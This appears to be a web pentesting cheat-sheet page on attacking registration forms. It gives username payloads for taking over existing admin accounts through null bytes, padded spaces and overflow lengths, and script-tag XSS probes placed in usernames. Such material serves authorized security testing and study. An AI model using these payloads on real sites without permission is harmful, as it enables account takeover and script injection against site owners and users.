Web Registration Attack

Last modified: 2023-07-21

Web

Registration mechanism might be vulnerable to compromise.

Register with the Same Username/Email Address as Existing User

We might be able to register the same username/email address as the existing user. It may affect the web server so be careful when testing.
Here are examples of username to register.

admin
administrator
root

Alternatively, it’s worth to try various approach to register.

# Insert null byte
admin%00

# Insert a space before username
 admin
%20admin

# Insert a space after username
admin 
admin%20

# Insert spaces around username
 admin 
%20admin%20

# Overflow (we need to find the longest characters that can be registered)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxadmin



Username with XSS

We might be able to inject XSS in username when registration.

john<script>alert(1)</script>
john</span><script>alert(1)</script>

# Overflow character length
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<script>alert(1)</script>